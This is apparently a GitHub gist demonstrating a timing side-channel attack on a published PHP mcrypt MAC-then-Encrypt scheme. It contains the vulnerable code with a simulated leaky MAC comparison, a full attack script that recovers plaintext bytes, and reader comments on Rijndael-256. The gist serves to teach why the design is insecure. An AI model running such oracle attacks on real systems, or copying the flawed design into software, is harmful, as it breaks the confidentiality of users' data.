-
-
Save defuse/0822a9c6d70ab4939c95 to your computer and use it in GitHub Desktop.
<?php | |
/* | |
* This code is copied from | |
* http://www.warpconduit.net/2013/04/14/highly-secure-data-encryption-decryption-made-easy-with-php-mcrypt-rijndael-256-and-cbc/ | |
* to demonstrate an attack against it. Specifically, we simulate a timing leak | |
* in the MAC comparison which, in a Mac-then-Encrypt (MtA) design, we show | |
* breaks confidentiality. | |
* | |
* Slight modifications such as making it not serialize/unserialize and removing | |
* the trim() call were made to simplify the attack (the original code is left | |
* in comments). The attack still works, in theory, when these modifications are | |
* not made, but it is more involved. | |
*/ | |
// Define a 32-byte (64 character) hexadecimal encryption key | |
// Note: The same encryption key used to encrypt the data must be used to decrypt the data | |
define('ENCRYPTION_KEY', 'd0a7e7997b6d5fcd55f4b5c32611b87cd923e88837b63bf2941ef819dc8ca282'); | |
// Encrypt Function | |
function mc_encrypt($encrypt, $key){ | |
//$encrypt = serialize($encrypt); | |
$iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC), MCRYPT_DEV_URANDOM); | |
$key = pack('H*', $key); | |
$mac = hash_hmac('sha256', $encrypt, substr(bin2hex($key), -32)); | |
$passcrypt = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $encrypt.$mac, MCRYPT_MODE_CBC, $iv); | |
$encoded = base64_encode($passcrypt).'|'.base64_encode($iv); | |
return $encoded; | |
} | |
// Decrypt Function | |
function mc_decrypt($decrypt, $key){ | |
$decrypt = explode('|', $decrypt.'|'); | |
$decoded = base64_decode($decrypt[0]); | |
$iv = base64_decode($decrypt[1]); | |
if(strlen($iv)!==mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC)){ return false; } | |
$key = pack('H*', $key); | |
//$decrypted = trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $decoded, MCRYPT_MODE_CBC, $iv)); | |
$decrypted = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $decoded, MCRYPT_MODE_CBC, $iv); | |
$mac = substr($decrypted, -64); | |
$decrypted = substr($decrypted, 0, -64); | |
$calcmac = hash_hmac('sha256', $decrypted, substr(bin2hex($key), -32)); | |
// if($calcmac!==$mac){ return false; } | |
// Simulate the timing side channel with 1-byte granularity. | |
if($calcmac!==$mac){ if ($calcmac[0] == $mac[0]) { return 1; } else { return 0; } } | |
//$decrypted = unserialize($decrypted); | |
return $decrypted; | |
} | |
/* | |
* Attack code. By Taylor Hornby (@DefuseSec), June 08, 2015. | |
*/ | |
// The message we want to decrypt. | |
$message = "Cryptography is harder than you think! You can't assemble it like Lego!"; | |
// Encrypt the message. | |
$ciphertext = mc_encrypt($message, ENCRYPTION_KEY); | |
// From here on, all we're allowed to do is (1) Get known plaintexts, and (2) | |
// Use the (simulated) timing oracle. | |
// We're going to get the first byte of each decrypted block, so split the | |
// target ciphertext into blocks. | |
$ct_parts = explode('|', $ciphertext); | |
$ct_blocks = str_split(base64_decode($ct_parts[0]), 32); | |
// Add the IV in front. We need it later and having it in index zero makes the | |
// code below more conveinient. | |
array_unshift($ct_blocks, base64_decode($ct_parts[1])); | |
// Remove the MAC blocks off the end (we don't care what they decrypt to). | |
$ct_blocks = array_slice($ct_blocks, 0, -2); | |
// This array will hold our known plaintexts. We want one known plaintext for | |
// each byte value \x00 though \xFF. The respective plaintext should be a single | |
// block that decrypts to a block having that value as its first byte (BEFORE | |
// the CBC mode XOR). | |
$firstbytes = array(); | |
// Just keep getting known plaintexts until we have all the byte values. | |
while (count($firstbytes) < 256) { | |
// We're choosing the plaintext here, but that's not necessary. The contents | |
// don't matter, as long as we know what the first byte is. | |
$kp = mc_encrypt(str_repeat("a", 32), ENCRYPTION_KEY); | |
// Break the ciphertext apart. | |
$parts = explode('|', $kp); | |
$iv = base64_decode($parts[1]); | |
$ct = substr(base64_decode($parts[0]), 0, 32); | |
// We know the decrypted result after the CBC-mode XOR is "a", so the value | |
// just after decryption but before the CBC-mode XOR is this: | |
$firstbyte = ord($iv[0]) ^ ord("a"); | |
// Remember this block as decrypting to block that starts with that byte. | |
// We might have already found one for this byte value, if that's the case | |
// we just overwrite it. | |
$firstbytes[$firstbyte] = $ct; | |
} | |
// Loop over all of the ciphertext blocks we want to decrypt the first byte of. | |
// (Note: Index 0 is the IV, as we set above). | |
for ($i = 1; $i < count($ct_blocks); $i++) { | |
$ct_block = $ct_blocks[$i]; | |
// We'll use zero IVs for our oracle queries. We could use anything really. | |
$zero_block = str_repeat("\x00", 32); | |
// Some padding to be the last (of two) blocks of the MAC. | |
$p = mcrypt_create_iv(32, MCRYPT_DEV_URANDOM); | |
// Find a collision in the first byte of the computed MAC and "included MAC". | |
$r = mcrypt_create_iv(32, MCRYPT_DEV_URANDOM); | |
$ct = base64_encode($r . $ct_block . $p) . "|" . base64_encode($zero_block); | |
while (mc_decrypt($ct, ENCRYPTION_KEY) !== 1) { | |
$r = mcrypt_create_iv(32, MCRYPT_DEV_URANDOM); | |
$ct = base64_encode($r . $ct_block . $p) . "|" . base64_encode($zero_block); | |
} | |
// In the above, the "computed MAC" is the MAC of whatever $r decrypts to | |
// with a null IV. The "included MAC" is the first byte of the decrypted | |
// value of $ct_block (before the CBC-XOR) XORed with $r[0]. | |
// So a collision means two things: | |
// 1. Decrypting $ct_block with $r as an "IV" makes the first byte a hex | |
// digit, and | |
// 2. That hex digit is the same as the one that the MAC of whatever $r | |
// decrypts to starts with. | |
// If only we could find out what that hex digit is... then we could find | |
// out what the first byte of the decrypted $ct_block is. Let's use our | |
// known plaintexts to do just that... | |
// Try decrypting with our known-first-byte blocks in place of $ct_block. | |
for ($first_byte = 0; $first_byte <= 255; $first_byte++) { | |
$ct = base64_encode($r . $firstbytes[$first_byte] . $p) . "|" . base64_encode($zero_block); | |
if (($res = mc_decrypt($ct, ENCRYPTION_KEY)) === 1) { | |
// The computed MAC value won't have changed, and we know the first | |
// byte still matches so that means the first byte (after decryption | |
// but before XOR) of our known plaintext block is the same as the | |
// first byte (after decryption but before XOR) of $ct_block. | |
// We know what that byte is! So let's XOR it with the first byte of | |
// the previous block in the whole ciphertext we're working on to | |
// get the proper (after CBC-XOR) decryption. | |
$iv_decrypted_byte = ord($ct_blocks[$i-1][0]) ^ $first_byte; | |
echo "Block $i's first byte is: " . chr($iv_decrypted_byte) . "\n"; | |
break; | |
} | |
} | |
} | |
I thought these first lines of your blog post quite weird:
MCRYPT_RIJNDAEL_256 (the 256-bit block version of Rijndael, not AES)
I have never heard of a 256 bits block version of Rijndael. I think you are confusing the different version of AES (aes comes in three flavors: 128, 192 and 256. And it's always about the size of the key not the block)
I think you are confusing the different version of AES (aes comes in three flavors: 128, 192 and 256. And it's always about the size of the key not the block)
@mimoo Nope. Rijndael is more than AES. The 128-bit block size Rijndael is AES. The 192-bit block and 256-bit block variants were not standardized. But they were included in mcrypt.
https://paragonie.com/blog/2015/05/if-you-re-typing-word-mcrypt-into-your-code-you-re-doing-it-wrong
Do you think it would be actually possible with PHP to detect timing differences, and would it be a decoupled algorithm or more of an statistical approach which could resist false measures better?
BTW: can't comment on the original blog, so if anybody sees this here: I really see no good reason to use MCRYPT_RINJDEAL_256. It is slower, has less security margin and less researched and not standard compliant (c.f. http://crypto.stackexchange.com/a/6018).